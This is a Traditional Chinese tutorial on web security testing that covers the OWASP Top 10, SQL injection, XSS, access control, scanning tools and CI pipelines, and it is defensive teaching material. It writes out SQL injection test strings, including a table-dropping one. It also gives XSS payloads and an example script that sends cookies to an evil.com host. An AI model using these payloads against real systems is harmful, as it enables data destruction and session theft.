安全測試旨在發現軟體系統中的安全漏洞,防止惡意攻擊和資料洩露。隨著網路攻擊日益頻繁,安全測試已成為軟體品質保證的關鍵環節。

常見安全漏洞類型#

OWASP Top 10 概覽#

OWASP(開放網頁應用程式安全計畫)定期發布最關鍵的 Web 應用程式安全風險清單:

排名漏洞類型說明
1注入攻擊SQL、NoSQL、OS 命令注入
2身份驗證失效工作階段管理、密碼策略缺陷
3敏感資料暴露未加密傳輸或存儲敏感資訊
4XML 外部實體XXE 攻擊
5訪問控制失效越權訪問
6安全組態錯誤默認組態、不必要的功能
7跨站腳本(XSS)反射型、存儲型、DOM 型
8不安全的反序列化遠程程式碼執行
9使用已知漏洞組件過時的依賴庫
10日誌和監控不足無法及時發現攻擊

SQL 注入攻擊#

攻擊原理#

用戶輸入:admin' OR '1'='1

原始 SQL:
SELECT * FROM users WHERE username='admin' AND password='123'

注入後 SQL:
SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='任意'
                                    ↑
                           永遠為真,繞過驗證

防護措施#

永遠不要拼接 SQL,使用參數化查詢是防止 SQL 注入的最有效手段。

// 錯誤做法:字串拼接(易受注入攻擊)
String sql = "SELECT * FROM users WHERE username='" + username + "'";

// 正確做法:參數化查詢
String sql = "SELECT * FROM users WHERE username = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, username);

測試方法#

在輸入框中嘗試典型的注入字串:

' OR '1'='1
'; DROP TABLE users; --
' UNION SELECT * FROM passwords --
1' AND SLEEP(5) --

XSS 跨站腳本攻擊#

攻擊類型#

類型說明危害程度
反射型惡意腳本作為請求參數,立即回傳並執行
存儲型惡意腳本存儲在資料庫,多次觸發
DOM 型在用戶端修改 DOM 執行腳本

攻擊示例#

<!-- 反射型 XSS -->
<!-- 惡意 URL: http://example.com/search?q=<script>alert('XSS')</script> -->

<!-- 存儲型 XSS -->
<!-- 用戶評論: <script>document.location='http://evil.com/steal?cookie='+document.cookie</script> -->

防護措施#

// 1. 輸入驗證和過濾
String sanitizedInput = HtmlUtils.htmlEscape(userInput);

// 2. 輸出編碼
<div th:text="${userContent}"></div>  <!-- 自動轉義 -->

// 3. Content Security Policy
response.setHeader("Content-Security-Policy",
    "default-src 'self'; script-src 'self'");

// 4. HttpOnly Cookie
Cookie cookie = new Cookie("session", sessionId);
cookie.setHttpOnly(true);  // JavaScript 無法讀取

測試方法#

嘗試在輸入框中輸入:

<script>alert('XSS')</script>
<img src="x" onerror="alert('XSS')">
<svg onload="alert('XSS')">
javascript:alert('XSS')

身份驗證與工作階段管理#

常見問題#

問題風險測試點
弱密碼策略暴力破解密碼複雜度要求
明文傳輸中間人攻擊是否使用 HTTPS
工作階段固定工作階段劫持登錄後是否更新工作階段 ID
工作階段不過期長期暴露是否有逾時機制

安全測試清單#

用戶登錄安全測試:
├── ☐ 密碼是否加密存儲(不可逆 Hash)
├── ☐ 密碼是否加密傳輸(HTTPS)
├── ☐ 是否有密碼複雜度要求
├── ☐ 是否有登錄失敗限制
├── ☐ 是否支持多因素認證
├── ☐ 工作階段 ID 是否足夠隨機
├── ☐ 登錄後是否更新工作階段 ID
├── ☐ Cookie 是否設置 HttpOnly
├── ☐ Cookie 是否設置 Secure
└── ☐ 是否有工作階段逾時機制

訪問控制測試#

常見訪問控制問題#

問題說明
垂直越權低權限用戶訪問高權限功能
水平越權用戶 A 訪問用戶 B 的資料
功能級越權直接訪問未授權的 API

測試方法#

1. 垂直越權測試:
   - 以普通用戶身份登錄
   - 嘗試直接訪問管理員 URL
   - 驗證是否被拒絕

2. 水平越權測試:
   - 以用戶 A 登錄
   - 將 URL 中的用戶 ID 改為用戶 B
   - 驗證是否能訪問用戶 B 的資料

3. 功能級越權測試:
   - 瀏覽器中正常操作
   - 攔截請求,修改參數
   - 驗證是否能執行未授權操作

不要僅依賴前端控制:隱藏按鈕不代表安全,後端必須驗證每個請求的權限。

敏感資料處理#

敏感資料類型#

類型示例
個人身份資訊身份證號、護照號
財務資訊信用卡號、銀行賬號
認證憑證密碼、API Key、Token
業務敏感資料商業機密、客戶名單

安全處理原則#

敏感資料安全處理清單:
├── 存儲
│   ├── 密碼:單向 Hash(bcrypt/Argon2)+ 鹽值
│   ├── 敏感資料:對稱加密(AES-256)
│   └── 密鑰:安全存儲(HSM/密鑰管理服務)
├── 傳輸
│   ├── 使用 TLS 1.2+
│   └── 敏感資料額外加密
├── 使用
│   ├── 最小權限原則
│   └── 避免在日誌中記錄
└── 銷毀
    ├── 安全擦除
    └── 定期清理過期資料

安全測試方法#

測試類型#

類型說明執行者
安全掃描自動化工具掃描已知漏洞工具
滲透測試模擬真實攻擊安全專家
程式碼審計審查源程式碼的安全問題開發/安全團隊
組態審計檢查系統組態的安全性運維/安全團隊

滲透測試流程#

┌──────────────┐
│  1. 資訊收集  │ ── 目標識別、連線埠掃描、服務識別
└──────┬───────┘
       ↓
┌──────────────┐
│  2. 漏洞分析  │ ── 識別潛在漏洞點
└──────┬───────┘
       ↓
┌──────────────┐
│  3. 漏洞利用  │ ── 嘗試利用漏洞獲取訪問權限
└──────┬───────┘
       ↓
┌──────────────┐
│  4. 權限提升  │ ── 嘗試獲取更高權限
└──────┬───────┘
       ↓
┌──────────────┐
│  5. 報告輸出  │ ── 記錄發現並提供修復建議
└──────────────┘

安全掃描工具#

動態應用安全測試(DAST)#

工具類型特點
OWASP ZAP開源功能全面、易於使用
Burp Suite商業/社區版業界標準、插件豐富
Nikto開源Web 服務器掃描
sqlmap開源SQL 注入專用

靜態應用安全測試(SAST)#

工具支持語言特點
SonarQube多語言程式碼品質 + 安全規則
FindBugs/SpotBugsJava缺陷模式檢測
Checkmarx多語言企業級 SAST
Snyk多語言依賴漏洞掃描

依賴漏洞檢測#

# Maven 項目
mvn org.owasp:dependency-check-maven:check

# npm 項目
npm audit

# Python 項目
safety check

安全測試最佳實踐#

整合到 CI/CD#

# 安全測試流水線示例
security_pipeline:
  stages:
    - name: "SAST"
      tools:
        - "SonarQube"
        - "SpotBugs"

    - name: "依賴掃描"
      tools:
        - "OWASP Dependency Check"
        - "Snyk"

    - name: "DAST"
      tools:
        - "OWASP ZAP"
      trigger: "部署到測試環境後"

    - name: "容器掃描"
      tools:
        - "Trivy"
        - "Clair"

安全測試清單#

Web 應用安全測試檢查清單

輸入驗證:

  • 所有用戶輸入都經過驗證和清理
  • 使用參數化查詢防止 SQL 注入
  • 實施適當的輸出編碼防止 XSS

身份驗證:

  • 密碼使用安全 Hash 演算法存儲
  • 實施多因素認證
  • 登錄失敗有速率限制

工作階段管理:

  • 工作階段 ID 足夠隨機
  • 登錄後重新生成工作階段 ID
  • Cookie 設置 HttpOnly 和 Secure 標誌

訪問控制:

  • 每個請求都驗證用戶權限
  • 實施最小權限原則
  • 敏感操作需要重新認證

資料保護:

  • 敏感資料加密存儲
  • 使用 TLS 加密傳輸
  • 日誌中不記錄敏感資訊

安全組態:

  • 禁用不必要的功能和連線埠
  • 更新所有軟件和依賴
  • 組態安全的 HTTP 回應頭

安全是持續的過程:安全測試不是一次性活動,應該持續進行,並將安全意識融入整個開發生命週期。